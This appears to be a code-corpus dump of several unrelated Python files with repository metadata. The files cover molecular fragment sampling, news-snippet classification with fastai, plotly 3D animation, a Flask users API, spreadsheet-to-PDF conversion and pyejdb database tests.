FingerprintableText("bye")}, ) assert key1 != key2 def test_fingerprint_changes_due_to_changed_source(monkeypatch: MonkeyPatch): key1 = fingerprinting.calculate_fingerprint_key( TEDPolicy, {}, {"input": FingerprintableText("Hi")}, ) get_source_mock = Mock(return_value="other implementation") monkeypatch.setattr(inspect, inspect.getsource.__name__, get_source_mock) key2 = fingerprinting.calculate_fingerprint_key( TEDPolicy, {}, {"input": FingerprintableText("Hi")}, ) assert key1 != key2 get_source_mock.assert_called_once_with(TEDPolicy)
30.822785
88
0.725667
0
0
0
0
0
0
0
0
133
0.05462
d535fc7f00accf0db8f763c0a2459c7d2e6f66c8
10,068
py
Python
smarty/cli_smirky.py
openforcefield/smarty
882d54b6d6d0fada748c71789964b07be2210a6a
[ "MIT" ]
10
2018-03-29T15:31:50.000Z
2022-02-17T14:04:37.000Z
smarty/cli_smirky.py
openforcefield/smarty
882d54b6d6d0fada748c71789964b07be2210a6a
[ "MIT" ]
14
2017-11-22T21:27:25.000Z
2019-01-24T04:50:42.000Z
smarty/cli_smirky.py
openforcefield/smarty
882d54b6d6d0fada748c71789964b07be2210a6a
[ "MIT" ]
2
2019-03-05T22:52:26.000Z
2022-02-17T14:05:06.000Z
""" Command-line driver example for SMIRKY. """ import sys import string import time from optparse import OptionParser # For parsing of command line arguments import smarty from openforcefield.utils import utils import os import math import copy import re import numpy from numpy import random def main(): # Create command-line argument options. usage_string = """\ Sample over fragment types (atoms, bonds, angles, torsions, or impropers) optionally attempting to match created types to an established SMIRFF. For all files left blank, they will be taken from this module's data/odds_files/ subdirectory. usage %prog --molecules molfile --typetag fragmentType [--atomORbases AtomORbaseFile --atomORdecors AtomORdecorFile --atomANDdecors AtomANDdecorFile --bondORbase BondORbaseFile --bondANDdecors BondANDdecorFile --atomIndexOdds AtomIndexFile --bondIndexOdds BondIndexFile --replacements substitutions --initialtypes initialFragmentsFile --SMIRFF referenceSMIRFF --temperature float --verbose verbose --iterations iterations --output outputFile] example: smirky --molecules AlkEthOH_test_filt1_ff.mol2 --typetag Angle """ version_string = "%prog %__version__" parser = OptionParser(usage=usage_string, version=version_string) parser.add_option("-m", "--molecules", metavar='MOLECULES', action="store", type="string", dest='molecules_filename', default=None, help="Small molecule set (in any OpenEye compatible file format) containing 'dG(exp)' fields with experimental hydration free energies. This filename can also be an option in this module's data/molecules sub-directory") #TODO: ask about the the dG(exp) fields? parser.add_option("-T", "--typetag", metavar='TYPETAG', action = "store", type="choice", dest='typetag', default=None, choices = ['VdW', 'Bond', 'Angle', 'Torsion', 'Improper'], help="type of fragment being sampled, options are 'VdW', 'Bond', 'Angle', 'Torsion', 'Improper'") parser.add_option('-e', '--atomORbases', metavar="DECORATORS", action='store', type='string', dest='atom_OR_bases', default = 'odds_files/atom_OR_bases.smarts', help="Filename defining atom OR bases and associated probabilities. These are combined with atom OR decorators in SMIRKS, for example in '[#6X4,#7X3;R2:2]' '#6' and '#7' are atom OR bases. (OPTIONAL)") parser.add_option("-O", "--atomORdecors", metavar="DECORATORS", action='store', type='string', dest='atom_OR_decorators', default = 'odds_files/atom_decorators.smarts', help="Filename defining atom OR decorators and associated probabilities. These are combined with atom bases in SMIRKS, for example in '[#6X4,#7X3;R2:2]' 'X4' and 'X3' are ORdecorators. (OPTIONAL)") parser.add_option('-A', '--atomANDdecors', metavar="DECORATORS", action='store', type='string', dest='atom_AND_decorators', default='odds_files/atom_decorators.smarts', help="Filename defining atom AND decorators and associated probabilities. These are added to the end of an atom's SMIRKS, for example in '[#6X4,#7X3;R2:2]' 'R2' is an AND decorator. (OPTIONAL)") parser.add_option('-o', '--bondORbase', metavar="DECORATORS", action='store', type='string', dest='bond_OR_bases', default='odds_files/bond_OR_bases.smarts', help="Filename defining bond OR bases and their associated probabilities. These are OR'd together to describe a bond, for example in '[#6]-,=;@[#6]' '-' and '=' are OR bases. (OPTIONAL)") parser.add_option('-a', '--bondANDdecors', metavar="DECORATORS", action="store", type='string', dest='bond_AND_decorators', default='odds_files/bond_AND_decorators.smarts', help="Filename defining bond AND decorators and their associated probabilities. These are AND'd to the end of a bond, for example in '[#6]-,=;@[#7]' '@' is an AND decorator.(OPTIONAL)") parser.add_option('-D', '--atomOddsFile', metavar="ODDSFILE", action="store", type="string", dest="atom_odds", default='odds_files/atom_index_odds.smarts', help="Filename defining atom descriptors and probabilities with making changes to that kind of atom. Options for descriptors are integers corresponding to that indexed atom, 'Indexed', 'Unindexed', 'Alpha', 'Beta', 'All'. (OPTIONAL)") parser.add_option('-d', '--bondOddsFile', metavar="ODDSFILE", action="store", type="string", dest="bond_odds", default='odds_files/bond_index_odds.smarts', help="Filename defining bond descriptors and probabilities with making changes to that kind of bond. Options for descriptors are integers corresponding to that indexed bond, 'Indexed', 'Unindexed', 'Alpha', 'Beta', 'All'. (OPTIONAL)") parser.add_option("-s", "--substitutions", metavar="SUBSTITUTIONS", action="store", type="string", dest='substitutions_filename', default=None, help="Filename defining substitution definitions for SMARTS atom matches. (OPTIONAL).") parser.add_option("-f", "--initialtypes", metavar='INITIALTYPES', action="store", type="string", dest='initialtypes_filename', default=None, help="Filename defining initial fragment types. The file is formatted with two columns: 'SMIRKS typename'. For the default the initial type will be a generic form of the given fragment, for example '[*:1]~[*:2]' for a bond (OPTIONAL)") parser.add_option('-r', '--smirff', metavar='REFERENCE', action='store', type='string', dest='SMIRFF', default=None, help="Filename defining a SMIRFF force fielce used to determine reference fragment types in provided set of molecules. It may be an absolute file path, a path relative to the current working directory, or a path relative to this module's data subdirectory (for built in force fields). (OPTIONAL)") parser.add_option("-i", "--iterations", metavar='ITERATIONS', action="store", type="int", dest='iterations', default=150, help="MCMC iterations.") parser.add_option("-t", "--temperature", metavar='TEMPERATURE', action="store", type="float", dest='temperature', default=0.1, help="Effective temperature for Monte Carlo acceptance, indicating fractional tolerance of mismatched atoms (default: 0.1). If 0 is specified, will behave in a greedy manner.") parser.add_option("-p", "--output", metavar='OUTPUT', action="store", type="string", dest='outputfile', default=None, help="Filename base for output information. This same base will be used for all output files created. If None provided then it is set to 'typetag_temperature' (OPTIONAL).") parser.add_option('-v', '--verbose', metavar='VERBOSE', action='store', type='choice', dest='verbose', default=False, choices = ['True', 'False'], help="If True prints minimal information to the commandline during iterations. (OPTIONAL)") # Parse command-line arguments. (option,args) = parser.parse_args() # Molecules are required if option.molecules_filename is None: parser.print_help() parser.error("Molecules input files must be specified.") verbose = option.verbose == 'True' # Load and type all molecules in the specified dataset. molecules = utils.read_molecules(option.molecules_filename, verbose=verbose) # Parse input odds files atom_OR_bases = smarty.parse_odds_file(option.atom_OR_bases, verbose) atom_OR_decorators = smarty.parse_odds_file(option.atom_OR_decorators, verbose) atom_AND_decorators = smarty.parse_odds_file(option.atom_AND_decorators, verbose) bond_OR_bases = smarty.parse_odds_file(option.bond_OR_bases, verbose) bond_AND_decorators = smarty.parse_odds_file(option.bond_AND_decorators, verbose) atom_odds = smarty.parse_odds_file(option.atom_odds, verbose) bond_odds = smarty.parse_odds_file(option.bond_odds, verbose) # get initial types if provided, otherwise none if option.initialtypes_filename is None: initialtypes = None else: initialtypes = smarty.AtomTyper.read_typelist(option.initialtypes_filename) output = option.outputfile if output is None: output = "%s_%.2e" % ( option.typetag, option.temperature) # get replacements if option.substitutions_filename is None: sub_file = smarty.get_data_filename('odds_files/substitutions.smarts') else: sub_file = option.substitutions_filename replacements = smarty.AtomTyper.read_typelist(sub_file) replacements = [ (short, smarts) for (smarts, short) in replacements] start_sampler = time.time() fragment_sampler = smarty.FragmentSampler( molecules, option.typetag, atom_OR_bases, atom_OR_decorators, atom_AND_decorators, bond_OR_bases, bond_AND_decorators, atom_odds, bond_odds, replacements, initialtypes, option.SMIRFF, option.temperature, output) # report time finish_sampler = time.time() elapsed = finish_sampler - start_sampler if verbose: print("Creating %s sampler took %.3f s" % (option.typetag, elapsed)) # Make iterations frac_found = fragment_sampler.run(option.iterations, verbose) results = fragment_sampler.write_results_smarts_file() finished = time.time() elapsed = finished - finish_sampler per_it = elapsed / float(option.iterations) if verbose: print("%i iterations took %.3f s (%.3f s / iteration)" % (option.iterations, elapsed, per_it)) if verbose: print("Final score was %.3f %%" % (frac_found*100.0)) # plot results plot_file = "%s.pdf" % output traj = "%s.csv" % output smarty.score_utils.create_plot_file(traj, plot_file, False, verbose)
53.839572
309
0.689114
0
0
0
0
0
0
0
0
5,509
0.547179
d53653c57078f22dc6820daf96fa072146e66f13
100
py
Python
zim/plugins/zimclip/tests/__init__.py
stiles69/bin
a327326ae22933e44c7ee2268f973dcedf7c8b3c
[ "MIT" ]
null
null
null
zim/plugins/zimclip/tests/__init__.py
stiles69/bin
a327326ae22933e44c7ee2268f973dcedf7c8b3c
[ "MIT" ]
null
null
null
zim/plugins/zimclip/tests/__init__.py
stiles69/bin
a327326ae22933e44c7ee2268f973dcedf7c8b3c
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import logging import os import sys import unittest # FIXME Do some tests
11.111111
23
0.7
0
0
0
0
0
0
0
0
44
0.44
d536849becbcd8fd7d2759bd7a26ed03c8235dce
9,800
py
Python
fastai/classifyAllSnippets.py
jtbr/tv-news-quality
0aa57a67ff3f3207e5cdf4129d58ea967e698e90
[ "MIT" ]
null
null
null
fastai/classifyAllSnippets.py
jtbr/tv-news-quality
0aa57a67ff3f3207e5cdf4129d58ea967e698e90
[ "MIT" ]
null
null
null
fastai/classifyAllSnippets.py
jtbr/tv-news-quality
0aa57a67ff3f3207e5cdf4129d58ea967e698e90
[ "MIT" ]
null
null
null
from collections import defaultdict, deque from datetime import datetime import pandas as pd import random import numpy as np import sys sys.path.append("..") # Adds higher directory to python modules path. from common import Label_DbFields, Synthetic_Category_Group_Names, Other_Synthetic_Group_Names, MultiLabel_Group_Name, Labels, Stations random.seed(42) from fastai.text import * bs = 256 #224 # size of minibatch # written with fastai v1.0.48 classifiers_to_run = ['label_category', 'label_usforeign', 'factinvestigative', 'label_tone', 'label_emotion'] # this contains the labels for each classifier label_set = Labels.copy() label_set['factinvestigative'] = ['investigative', 'noninvestigative', 'opinion', 'other'] # contains the labels for which a classifier is relevant relevant_col_names = {} relevant_col_names['factinvestigative'] = ['elections_hard', 'elections_soft', 'business_economics', 'government', 'current_events', 'cultural'] relevant_col_names['label_usforeign'] = ['business_economics', 'government', 'current_events', 'sports', 'cultural'] relevant_col_names['label_tone'] = ['elections_hard', 'elections_soft', 'business_economics', 'science_tech', 'government', 'entertainment', 'sports', 'products', 'anecdotes', 'current_events', 'cultural'] relevant_col_names['label_emotion'] = ['elections_hard', 'elections_soft', 'business_economics', 'science_tech', 'government', 'entertainment', 'anecdotes', 'current_events', 'cultural'] def getIndices(names, nameMap): return tensor(sorted([nameMap.index(name) for name in names])) modeldir = '/data/fastai-models/selected' # the second best auto-trained model among folds # write headers for each output file # (only needed the first time we run, in case this gets aborted midway) for clas_name in classifiers_to_run: with open(clas_name + '_stats.csv', 'w') as stats_f: header = ["quarter_begin_date"] for station in ['overall'] + Stations: header += [station+'-'+label for label in (['total'] + label_set[clas_name])] # if clas_name in ['label_category', 'station']: for station in ['overall'] + Stations: header += [station+'-'+cn+'-top_k' for cn in (['sum'] + label_set[clas_name])] stats_f.write(",".join(header) + "\n") dataset_rows = {} quarters = [] for year in range(2010,2017): for month in ["01", "04", "07", "10"]: quarter = str(year) + '-' + month + "-01" quarters += [quarter] for quarter in quarters: print('\n\n', str(datetime.now()), 'Reading in snippets for', quarter) # read in full population of (truecased, preprocessed) snippets for this quarter df = pd.read_csv('/data/' + quarter + '_snippets.tsv', sep='\t') dataset_rows = {} # what rows are relevant for a particular classifier (apart from label_category) for clas_name in classifiers_to_run: print('Processing', clas_name) # take subset of rows that are relevant for this classifier; both from the dataset and the original dataframe if clas_name == 'label_category': train_df = df else: train_df = df.iloc[dataset_rows[clas_name],:] print(' - loading databunch of size', len(train_df)) learn = load_learner(modeldir, fname=clas_name + '_clas_fine_tuned.pkl', test= TextList.from_df(train_df, cols='snippet')) # if clas_name == 'label_category': # learn = load_learner(modeldir, fname=clas_name + '_clas_fine_tuned.pkl', # test= TextList.from_df(train_df, cols='snippet')) # learn.data.save('quarter_temp_data') # need to save rather than leave in memory # df = df.drop('snippet', axis=1) # remove no-longer-needed column to save memory # train_df = train_df.drop('snippet', axis=1) # else: # learn = load_learner(modeldir, fname=clas_name + '_clas_fine_tuned.pkl') # loaded_data = load_data(modeldir, 'quarter_temp_data', bs=bs) # learn.data.test_dl = loaded_data.test_dl # loaded_data.test_dl = None; loaded_data = None # learn.data.test_ds.x.filter_subset(dataset_rows[clas_name]) # learn.data.test_ds.y.filter_subset(dataset_rows[clas_name]) # del dataset_rows[clas_name] # gc.collect() print(' - running classifier') preds, _ = learn.get_preds(ds_type=DatasetType.Test, ordered=True) # second return value would be true label (if this weren't a test set) print(' - analyzing and saving results') yhat = np.argmax(preds.numpy(), axis=1) labelcounts = [defaultdict(int) for s in ['overall'] + Stations] for i, station in enumerate(Stations): station_yhat = yhat[train_df['station'] == station] for label in station_yhat: labelcounts[i+1][label] += 1 # leave index 0 for the overall counts to calculate next print(" ", preds[:5]) # print(labelcounts[0]) # add 'overall' counts: for label_idx, _ in enumerate(learn.data.train_ds.classes): labelcounts[0][label_idx] = sum([labelcounts[i+1][label_idx] for i, __ in enumerate(Stations)]) # translate from NN class index into class name, and make a full list of counts all_counts_ordered = [] for i, station in enumerate(['overall'] + Stations): namedlabelcounts = defaultdict(int) total = 0 for k,v in labelcounts[i].items(): namedlabelcounts[learn.data.train_ds.classes[k]] = v total += v print(" ", station, namedlabelcounts) # label counts in order counts_ordered = [str(total)] + [("0" if total == 0 else str(float(namedlabelcounts[cn])/total)) for cn in label_set[clas_name]] all_counts_ordered += counts_ordered all_summed_likelihoods_ordered = [] # if clas_name in ['label_category', 'station']: # tbd: how to handle binary classifiers: ads, transitions, nonsense, investigative (currently not being run) # calculate categories using top-k precision k = 3 if clas_name in ['label_category', 'station', 'supergroups'] else 2 likelihoods, posns = preds.topk(k, dim=-1, sorted=False) # scale predictions so that top 3 likelihoods sum to 1 norm_factors = 1. / likelihoods.sum(dim=-1) likelihoods = norm_factors * likelihoods.transpose(-1,0) likelihoods.transpose_(-1,0) overalllabelsums = defaultdict(float) overall_sum = 0.0 for station in Stations: # allocate their normalized likelihoods to the 3 categories for each snippet likelihoods_sums = defaultdict(float) station_row_idxs = tensor((train_df['station'] == station).to_numpy().nonzero()[0]) station_likelihood_rows = likelihoods.index_select(0, station_row_idxs) station_posns_rows = posns.index_select(0, station_row_idxs) for (snippet_lhs, snippet_posns) in zip(station_likelihood_rows, station_posns_rows): #python 3: zip is an iterator (py2 use itertools.izip) for lh, posn in zip(snippet_lhs.tolist(), snippet_posns.tolist()): likelihoods_sums[posn] += lh # order the likelihoods for reporting, and sum up overall totals namedlabelsums = defaultdict(float) for k,v in likelihoods_sums.items(): namedlabelsums[learn.data.train_ds.classes[k]] = v overalllabelsums[learn.data.train_ds.classes[k]] += v station_sum = sum([namedlabelsums[cn] for cn in label_set[clas_name]]) overall_sum += station_sum summed_likelihoods_ordered = [("0.0" if station_sum == 0. else str(namedlabelsums[cn]/station_sum)) for cn in label_set[clas_name]] all_summed_likelihoods_ordered += [str(station_sum)] + summed_likelihoods_ordered # prepend the overall total likelihoods (in order) before the station totals overall_summed_likelihoods_ordered = [str(overall_sum)] + [str(overalllabelsums[cn]/overall_sum) for cn in label_set[clas_name]] all_summed_likelihoods_ordered = overall_summed_likelihoods_ordered + all_summed_likelihoods_ordered # append one line with counts for this learner in this quarter with open(clas_name + '_stats.csv', 'a') as stats_f: stats_f.write(",".join([quarter] + all_counts_ordered + all_summed_likelihoods_ordered) + "\n") # if this is the first classifier (label_category), save the subsets of df for other classifiers to run on if clas_name == 'label_category': # get the column indices in this learner for the classes for which subsequent classifiers are relevant relevant_col_idxes = {} for clas, col_list in relevant_col_names.items(): relevant_col_idxes[clas] = getIndices(col_list, learn.data.train_ds.classes) # save rows to be classified for the remaining classifiers for clas, cols in relevant_col_idxes.items(): relevant_scores = preds.index_select(1, cols) # indexes of rows (snippets) positive for relevant cols (having >0.5 probability among relevant scores) dataset_rows[clas] = (relevant_scores.sum(dim=-1) > 0.5).nonzero().squeeze(1).numpy() del relevant_col_idxes; del relevant_scores del learn; del yhat; del preds; del likelihoods; del station_likelihood_rows; del posns; del _ gc.collect() #torch.cuda.empty_cache()
52.12766
205
0.655612
0
0
0
0
0
0
0
0
4,013
0.40949
d536b7482bc290966d04a1055fdea35f0784a032
3,385
py
Python
LDDMM_Python/lddmm_python/modules/io/anim3D.py
tt6746690/lddmm-ot
98e45d44969221b0fc8206560d9b7a655ef7e137
[ "MIT" ]
48
2017-08-04T03:30:22.000Z
2022-03-09T03:24:11.000Z
LDDMM_Python/lddmm_python/modules/io/anim3D.py
hushunbo/lddmm-ot
5af26fe32ae440c598ed403ce2876e98d6e1c692
[ "MIT" ]
null
null
null
LDDMM_Python/lddmm_python/modules/io/anim3D.py
hushunbo/lddmm-ot
5af26fe32ae440c598ed403ce2876e98d6e1c692
[ "MIT" ]
15
2017-09-30T18:55:48.000Z
2021-04-27T18:27:55.000Z
# We use a slightly hacked version of the plot.ly js/python library lddmm_python = __import__(__name__.split('.')[0]) print(lddmm_python) import lddmm_python.lib.plotly as plotly import re from pylab import * from IPython.html.widgets import interact from IPython.display import HTML, display from pprint import pprint import json from plotly.tools import FigureFactory as FF from plotly import utils, graph_objs from .my_iplot import my_iplot from .read_vtk import ReadVTK class Anim3d : def __init__(self, filenames): self.frames = list(ReadVTK(f) for f in filenames) self.current_frame = list(range(len(self.frames))) print(self.current_frame) def get_frame(self, w) : points = array(self.frames[w][0]) """update = dict( x = [points[:,2]], y = [points[:,0]], z = [points[:,1]] )""" update1 = dict( visible = False ) update2 = dict( visible = True ) list1 = str(self.current_frame) self.current_frame = [w] list2 = str(self.current_frame) return ([update1, update2], [list1, list2]) def show(self, title): figs = [] for ind_f in range(len(self.frames)) : (points, triangles, signals) = self.frames[ind_f] points = array(points) triangles = array(triangles) signals = array(signals) signals_per_triangle = list( (signals[triangles[i,0]] + signals[triangles[i,1]] + signals[triangles[i,2]]) / 3 for i in range(triangles.shape[0]) ) signals_per_triangle[0] += 0.001 # Validate colormap my_colormap = FF._validate_colors("Portland", 'tuple') newdata = FF._trisurf(x=points[:,2], y=points[:,0], z=points[:,1], colormap=my_colormap, simplices=triangles, color_func = signals_per_triangle, plot_edges=False, edges_color = 'rgb(50, 50, 50)', show_colorbar = False, data_list = True) figs += newdata axis = dict( showbackground=True, backgroundcolor='rgb(230, 230, 230)', gridcolor='rgb(255, 255, 255)', zerolinecolor='rgb(255, 255, 255)' ) xaxis = axis.copy() xaxis['range'] = [-0.08,0.09] yaxis = axis.copy() yaxis['range'] = [-0.11,0.05] zaxis = axis.copy() zaxis['range'] = [0.02,0.18] aspectratio=dict(x=1, y=1, z=1) layout = graph_objs.Layout( title=title, width='100%', height= 800, scene=graph_objs.Scene( xaxis=graph_objs.XAxis(xaxis), yaxis=graph_objs.YAxis(yaxis), zaxis=graph_objs.ZAxis(zaxis), aspectratio=dict( x=aspectratio['x'], y=aspectratio['y'], z=aspectratio['z']), ) ) return my_iplot(graph_objs.Figure( data = figs, layout=layout)) def slider(self, div_id) : #div_id = self.show(*args, **kwargs) def change_frame(w) : (updates, indices) = self.get_frame(w-1) script = '' for i in range(len(updates)) : jupdate = json.dumps(updates[i], cls=utils.PlotlyJSONEncoder) #pprint(jupdate) script = script \ + 'Plotly.restyle("{id}", {update}, [{index}]);'.format( id=div_id, update=jupdate, index = indices[i][1:-1]) #print(script) update_str = ( '' '<script type="text/javascript">' + 'window.PLOTLYENV=window.PLOTLYENV || {{}};' 'window.PLOTLYENV.BASE_URL="' + 'https://plot.ly' + '";' '{script}' + '</script>' '').format(script=script) display(HTML(update_str)) interact((lambda frame : change_frame(frame)), frame=(1,len(self.frames)))
28.686441
113
0.644313
2,898
0.85613
0
0
0
0
0
0
575
0.169867
d537bbba3a9ba3ab580ea135450c563c974dfe24
3,180
py
Python
driftbase/api/users.py
directivegames/drift-base
5fc7d4686c56e93fc22178f3b1bb49239d7eee45
[ "MIT" ]
1
2021-09-04T01:45:44.000Z
2021-09-04T01:45:44.000Z
driftbase/api/users.py
directivegames/drift-base
5fc7d4686c56e93fc22178f3b1bb49239d7eee45
[ "MIT" ]
30
2020-12-09T04:10:26.000Z
2022-03-02T02:34:49.000Z
driftbase/api/users.py
directivegames/drift-base
5fc7d4686c56e93fc22178f3b1bb49239d7eee45
[ "MIT" ]
null
null
null
import logging import http.client as http_client from flask import url_for, g from flask.views import MethodView import marshmallow as ma from flask_smorest import Blueprint, abort from marshmallow_sqlalchemy import SQLAlchemyAutoSchema from drift.core.extensions.urlregistry import Endpoints from driftbase.models.db import User, CorePlayer, UserIdentity log = logging.getLogger(__name__) endpoints = Endpoints() bp = Blueprint('users', __name__, url_prefix='/users', description='User management') class UserPlayerSchema(SQLAlchemyAutoSchema): class Meta: load_instance = True include_relationships = True model = CorePlayer exclude = ('num_logons', ) strict = True player_url = ma.fields.Str(metadata=dict(description="Hello")) class UserIdentitySchema(SQLAlchemyAutoSchema): class Meta: load_instance = True include_relationships = True model = UserIdentity strict = True class UserSchema(SQLAlchemyAutoSchema): class Meta: load_instance = True include_relationships = True model = User strict = True user_url = ma.fields.Str(metadata=dict(description="Hello")) client_url = ma.fields.Str() user_url = ma.fields.Str() players = ma.fields.List(ma.fields.Nested(UserPlayerSchema)) class UserRequestSchema(ma.Schema): class Meta: strict = True ordered = True def drift_init_extension(app, api, **kwargs): endpoints.init_app(app) api.register_blueprint(bp) #@bp.route('', endpoint='users') @bp.route('', endpoint='list') class UsersListAPI(MethodView): @bp.response(http_client.OK, UserSchema(many=True)) def get(self): """List Users Return users, just the most recent 10 records with no paging or anything I'm afraid. """ ret = [] users = g.db.query(User).order_by(-User.user_id).limit(10) for row in users: user = { "user_id": row.user_id, "user_url": url_for('users.entry', user_id=row.user_id, _external=True) } ret.append(user) return ret #@bp.route('/<int:user_id>', endpoint='user') @bp.route('/<int:user_id>', endpoint='entry') class UsersAPI(MethodView): """ """ @bp.response(http_client.OK, UserSchema(many=False)) def get(self, user_id): """Single user Return a user by ID """ user = g.db.query(User).filter(User.user_id == user_id).first() if not user: abort(http_client.NOT_FOUND) data = user.as_dict() data["client_url"] = None players = g.db.query(CorePlayer).filter(CorePlayer.user_id == user_id) data["players"] = players identities = g.db.query(UserIdentity).filter(UserIdentity.user_id == user_id) data["identities"] = identities return data @endpoints.register def endpoint_info(current_user): ret = {"users": url_for("users.list", _external=True), } ret["my_user"] = None if current_user: ret["my_user"] = url_for("users.entry", user_id=current_user["user_id"], _external=True) return ret
27.894737
96
0.654403
2,119
0.666352
0
0
1,556
0.489308
0
0
476
0.149686
d539894b90e242423be7b5a80d8dab14133e7cdc
1,342
py
Python
xlsx2x.py
KhanShaheb34/xlsx2pdf
2ed6c687ac1ae664fb0599c8b9138a3bdc0cd828
[ "MIT" ]
null
null
null
xlsx2x.py
KhanShaheb34/xlsx2pdf
2ed6c687ac1ae664fb0599c8b9138a3bdc0cd828
[ "MIT" ]
null
null
null
xlsx2x.py
KhanShaheb34/xlsx2pdf
2ed6c687ac1ae664fb0599c8b9138a3bdc0cd828
[ "MIT" ]
null
null
null
import os import cv2 import jpype import shutil import weasyprint from bs4 import BeautifulSoup jpype.startJVM() from asposecells.api import * def generatePDF(XLSXPath, OutPath): workbook = Workbook(XLSXPath) workbook.save(f"sheet.html", SaveFormat.HTML) with open(f'./sheet_files/sheet001.htm') as f: htmlDoc = f.read() soup = BeautifulSoup(htmlDoc, 'html.parser') table = soup.find_all('table')[0] with open(f'./sheet_files/stylesheet.css') as f: styles = f.read() with open(f'out.html', 'w') as f: f.write(f''' <style> {styles} @page {{size: A4; margin:0;}} table {{margin:auto; margin-top: 5mm;}} table, tr, td {{border: 1px solid #000 !important;}} </style> ''') f.write(str(table.prettify())) weasyprint.HTML('out.html').write_pdf(OutPath) def cleanPDF(OutPath): shutil.rmtree('./sheet_files') os.remove('./out.html') os.remove('./sheet.html') os.remove(OutPath) def generatePNG(XLSXPath, OutPath): workbook = Workbook(XLSXPath) workbook.save(f"sheet.png", SaveFormat.PNG) img = cv2.imread("sheet.png") cropped = img[20:-100] cv2.imwrite(OutPath, cropped) def cleanPNG(OutPath): os.remove('./sheet.png') os.remove(OutPath)
25.807692
68
0.612519
0
0
0
0
0
0
0
0
447
0.333085
d53a3a12bcf8b7a3bf6b3520d6ff05036c95f9f7
6,912
py
Python
test/test_one.py
hellhound/pyejdb
cdb8285eef5417cd1fcaf84ecdfa2f2cb0fa6a18
[ "Python-2.0", "OLDAP-2.3" ]
null
null
null
test/test_one.py
hellhound/pyejdb
cdb8285eef5417cd1fcaf84ecdfa2f2cb0fa6a18
[ "Python-2.0", "OLDAP-2.3" ]
null
null
null
test/test_one.py
hellhound/pyejdb
cdb8285eef5417cd1fcaf84ecdfa2f2cb0fa6a18
[ "Python-2.0", "OLDAP-2.3" ]
2
2015-08-11T17:00:17.000Z
2021-01-04T08:34:47.000Z
#-*- coding: utf8 -*- # ************************************************************************************************* # Python API for EJDB database library http://ejdb.org # Copyright (C) 2012-2013 Softmotions Ltd. # # This file is part of EJDB. # EJDB is free software; you can redistribute it and/or modify it under the terms of # the GNU Lesser General Public License as published by the Free Software Foundation; either # version 2.1 of the License or any later version. EJDB is distributed in the hope # that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public # License for more details. # You should have received a copy of the GNU Lesser General Public License along with EJDB; # if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, # Boston, MA 02111-1307 USA. # ************************************************************************************************* from __future__ import with_statement from __future__ import division from __future__ import print_function from datetime import datetime import sys PY3 = sys.version_info[0] == 3 import unittest from pyejdb import bson import pyejdb if PY3: from io import StringIO as strio else: from io import BytesIO as strio class TestOne(unittest.TestCase): def __init__(self, *args, **kwargs): super(TestOne, self).__init__(*args, **kwargs) #super().__init__(*args, **kwargs) _ejdb = None @classmethod def setUpClass(cls): print("pyejdb version: %s" % pyejdb.version) print("libejdb_version: %s" % pyejdb.libejdb_version) cls._ejdb = pyejdb.EJDB("testdb", pyejdb.DEFAULT_OPEN_MODE | pyejdb.JBOTRUNC) def test(self): ejdb = TestOne._ejdb self.assertEqual(ejdb.isopen, True) doc = {"foo": "bar", "foo2": 2} ejdb.save("foocoll", doc) self.assertEqual(type(doc["_id"]).__name__, "str" if PY3 else "unicode") ldoc = ejdb.load("foocoll", doc["_id"]) self.assertIsInstance(ldoc, dict) self.assertEqual(doc["_id"], ldoc["_id"]) self.assertEqual(doc["foo"], ldoc["foo"]) self.assertEqual(doc["foo2"], ldoc["foo2"]) cur = ejdb.find("foocoll", {"foo": "bar"}, hints={"$fields": {"foo2": 0}}) self.assertEqual(len(cur), 1) d = cur[0] self.assertTrue(d is not None) self.assertEqual(d["_id"], ldoc["_id"]) with ejdb.find("foocoll") as cur2: d = cur2[0] self.assertTrue(d is not None) self.assertEqual(d["_id"], ldoc["_id"]) self.assertEqual(ejdb.findOne("foocoll")["foo"], "bar") self.assertTrue(ejdb.findOne("foocoll2") is None) self.assertEqual(ejdb.count("foocoll"), 1) self.assertEqual(ejdb.count("foocoll2"), 0) ejdb.ensureStringIndex("foocoll", "foo") cur = ejdb.find("foocoll", {"foo": "bar"}, hints={"$fields": {"foo2": 0}}) self.assertEqual(len(cur), 1) ejdb.remove("foocoll", doc["_id"]) ldoc = ejdb.load("foocoll", doc["_id"]) self.assertTrue(ldoc is None) ejdb.sync() ejdb.ensureCollection("ecoll1", records=90000, large=False) ejdb.dropCollection("ecoll1", prune=True) def test2(self): ejdb = TestOne._ejdb self.assertEqual(ejdb.isopen, True) parrot1 = { "name": "Grenny", "type": "African Grey", "male": True, "age": 1, "birthdate": datetime.utcnow(), "likes": ["green color", "night", "toys"], "extra1": None } parrot2 = { "name": "Bounty", "type": "Cockatoo", "male": False, "age": 15, "birthdate": datetime.utcnow(), "likes": ["sugar cane"], "extra1": None } ejdb.save("parrots", *[parrot1, None, parrot2]) self.assertEqual(type(parrot1["_id"]).__name__, "str" if PY3 else "unicode") self.assertEqual(type(parrot2["_id"]).__name__, "str" if PY3 else "unicode") p2 = ejdb.load("parrots", parrot2["_id"]) self.assertEqual(p2["_id"], parrot2["_id"]) cur = ejdb.find("parrots") self.assertEqual(len(cur), 2) self.assertEqual(len(cur[1:]), 1) self.assertEqual(len(cur[2:]), 0) cur = ejdb.find("parrots", {"name": bson.BSON_Regex(("(grenny|bounty)", "i"))}, hints={"$orderby": [("name", 1)]}) self.assertEqual(len(cur), 2) self.assertEqual(cur[0]["name"], "Bounty") self.assertEqual(cur[0]["age"], 15) cur = ejdb.find("parrots", {}, {"name": "Grenny"}, {"name": "Bounty"}, hints={"$orderby": [("name", 1)]}) self.assertEqual(len(cur), 2) cur = ejdb.find("parrots", {}, {"name": "Grenny"}, hints={"$orderby": [("name", 1)]}) self.assertEqual(len(cur), 1) sally = { "name": "Sally", "mood": "Angry", } molly = { "name": "Molly", "mood": "Very angry", "secret": None } ejdb.save("birds", *[sally, molly]) logbuf = strio() ejdb.find("birds", {"name": "Molly"}, log=logbuf) #print("LB=%s" % logbuf.getvalue()) self.assertTrue(logbuf.getvalue().find("RUN FULLSCAN") != -1) ejdb.ensureStringIndex("birds", "name") logbuf = strio() ejdb.find("birds", {"name": "Molly"}, log=logbuf) self.assertTrue(logbuf.getvalue().find("MAIN IDX: 'sname'") != -1) self.assertTrue(logbuf.getvalue().find("RUN FULLSCAN") == -1) 